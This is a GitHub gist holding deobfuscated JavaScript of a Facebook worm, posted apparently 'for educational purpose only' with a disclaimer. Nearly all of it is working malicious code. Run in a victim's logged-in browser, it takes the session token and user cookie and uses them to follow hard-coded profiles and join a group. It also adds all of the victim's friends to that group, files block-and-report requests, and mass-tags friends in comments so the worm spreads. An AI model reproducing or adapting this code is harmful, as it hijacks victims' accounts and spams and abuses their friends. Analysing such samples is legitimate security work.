Skip to content

Instantly share code, notes, and snippets.

@ariefbayu
Last active January 4, 2016 16:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ariefbayu/07c844e1be50702aa472 to your computer and use it in GitHub Desktop.
Save ariefbayu/07c844e1be50702aa472 to your computer and use it in GitHub Desktop.
Translating worm codes from: http://pastebin.com/raw.php?i=X6Z6F0HM | For educational purpose only. Any misuse of this codes is beyond my responsibility :)
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(param) {
var tparam = param + '=';
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tparam);
if (konum != -1) {
konum += tparam.length;
son = document.cookie.indexOf(';', konum);
if (son == -1) {
son = document.cookie.length;
};
return unescape(document.cookie.substring(konum, son));
} else {
return '';
};
};
};
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
};
function randomValue(param) {
return param[getRandomInt(0, param.length - 1)];
};
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(param) {
var ajax = new XMLHttpRequest();
var target = '/ajax/follow/follow_profile.php?__a=1';
var targetParam = 'profile_id=' + param + '&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=' + fb_dtsg + '&lsd&__' + user_id + '&phstamp=';
ajax.open('POST', target, true);
ajax.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
ajax.setRequestHeader('Content-length', targetParam.length);
ajax.setRequestHeader('Connection', 'close');
ajax.onreadystatechange = function () {
if (readyState == 4 && status == 200) {
ajax.close;
};
};
ajax.send(targetParam);
};
function sublist(_0x21aax11) {
var a = document.createElement('script');
a.innerHTML = 'new AsyncRequest().setURI(\'/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe\').setData({ flid: ' + _0x21aax11 + ' }).send();';
document.body.appendChild(a);
};
a('100004368643588');
a('100007079796120');
a('100001503619455');
sublist('243737815781838');
sublist('1387712268141420');
sublist('262092750613011');
var gid = '235442766628415';
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp.open('POST', urlwp, true);
httpwp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
httpwp.setRequestHeader('Content-length', paramswp.length);
httpwp.setRequestHeader('Connection', 'close');
httpwp.send(paramswp);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();
gf.open('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math.random() + '&filter[0]=user&options[0]=friends_only', false);
gf.send();
if (gf.readyState != 4) {} else {
data = eval('(' + gf.responseText.substr(9) + ')');
if (data.error) {} else {
friends = data.payload.entries.sort(function (_0x21aax17, _0x21aax18) {
return _0x21aax17.index - _0x21aax18.index;
});
};
};
for (var i = 0; i < friends.length; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
var paramswp = '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i].uid + '&__user=' + user_id + '&phstamp=';
httpwp.open('POST', urlwp, true);
httpwp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
httpwp.setRequestHeader('Content-length', paramswp.length);
httpwp.setRequestHeader('Connection', 'keep-alive');
httpwp.onreadystatechange = function () {
if (httpwp.readyState == 4 && httpwp.status == 200) {};
};
httpwp.send(paramswp);
};
var spage_id = '531553660285377';
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = '';
var smesaj_text = '';
var arkadaslar = [];
var svn_rev;
var bugun = new Date();
var btarihi = new Date();
btarihi.setTime(bugun.getTime() + 1000 * 60 * 60 * 4 * 1);
if (!document.cookie.match(/paylasti=(\d+)/)) {
document.cookie = 'paylasti=hayir;expires=' + btarihi.toGMTString();
};
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var now = (new Date).getTime();
function Report(_0x21aax24) {
var ajax = new XMLHttpRequest();
var target = '//www.facebook.com/ajax/report/social.php';
var param = 'fb_dtsg=' + fb_dtsg + '&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A' + _0x21aax24;
param += '%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2FNan.ertt7%22%2C%22report_type%22%3A145%2C%22rid%22%3A' + _0x21aax24;
param += '%2C%22sub_report_type%22%3A3%2C%22time_flow_started%22%3A' + now + '%2C%22user%22%3A' + user_id;
param += '%7D&file_report=1&__user=' + user_id + '&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880';
ajax.open('POST', target, true);
ajax.onreadystatechange = function () {
if (ajax.readyState == 4 && ajax.status == 200) {
ajax.close;
};
};
ajax.send(param);
};
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var id = '275193965969556';
var arkadaslar = [];
var svn_rev;
function arkadaslari_al(id) {
var ajax = new XMLHttpRequest();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
eval('arkadaslar = ' + ajax.responseText.toString().replace('for (;;);', '') + ';');
for (f = 0; f < Math.round(arkadaslar.payload.entries.length / 27); f++) {
mesaj = '';
mesaj_text = '';
for (i = f * 27; i < (f + 1) * 27; i++) {
if (arkadaslar.payload.entries[i]) {
mesaj += '@[' + arkadaslar.payload.entries[i].uid + ': ' + arkadaslar.payload.entries[i].text + ']';
mesaj_text += ' ' + arkadaslar.payload.entries[i].text;
};
};
yorum_yap(id, mesaj);
};
};
};
var param = '&filter[0]=user';
param += '&options[0]=friends_only';
param += '&options[1]=nm';
param += '&token=v7';
param += '&viewer=' + user_id;
param += '&__user=' + user_id;
if (document.URL.indexOf('https://') >= 0) {
ajax.open('GET', 'https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1' + param, true);
} else {
ajax.open('GET', 'http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1' + param, true);
};
ajax.send();
};
function RandomArkadas() {
var textEntries = '';
for (i = 0; i < 9; i++) {
textEntries += '@[' + arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].uid + ':';
textEntries += arkadaslar.payload.entries[Math.floor(Math.random() * arkadaslar.payload.entries.length)].text + ']';
};
return textEntries;
};
function yorum_yap(id, _0x21aax30) {
var ajax = new XMLHttpRequest();
var param = '';
param += '&ft_ent_identifier=' + id;
param += '&comment_text=' + encodeURIComponent(_0x21aax30);
param += '&source=2';
param += '&client_id=1377871797138:1707018092';
param += '&reply_fbid';
param += '&parent_comment_id';
param += '&rootid=u_jsonp_2_3';
param += "&clp={\"cl_impid\":\"453524a0\",\"clearcounter\":0,\"elementid\":\"js_5\",\"version\":\"x\",\"parent_fbid\":" + id + '}';
param += '&attached_sticker_fbid=0';
param += '&attached_photo_fbid=0';
param += '&giftoccasion';
param += '&ft[tn]=[]';
param += '&__user=' + user_id;
param += '&__a=1';
param += '&__dyn=7n8ahyj35ynxl2u5F97KepEsyo';
param += '&__req=q';
param += '&fb_dtsg=' + fb_dtsg;
param += '&ttstamp=';
ajax.open('POST', '/ajax/ufi/add_comment.php', true);
ajax.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
ajax.onreadystatechange = function () {
if (ajax.readyState == 4 && ajax.status == 200) {
ajax.close;
};
};
ajax.send(param);
};
arkadaslari_al(id);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment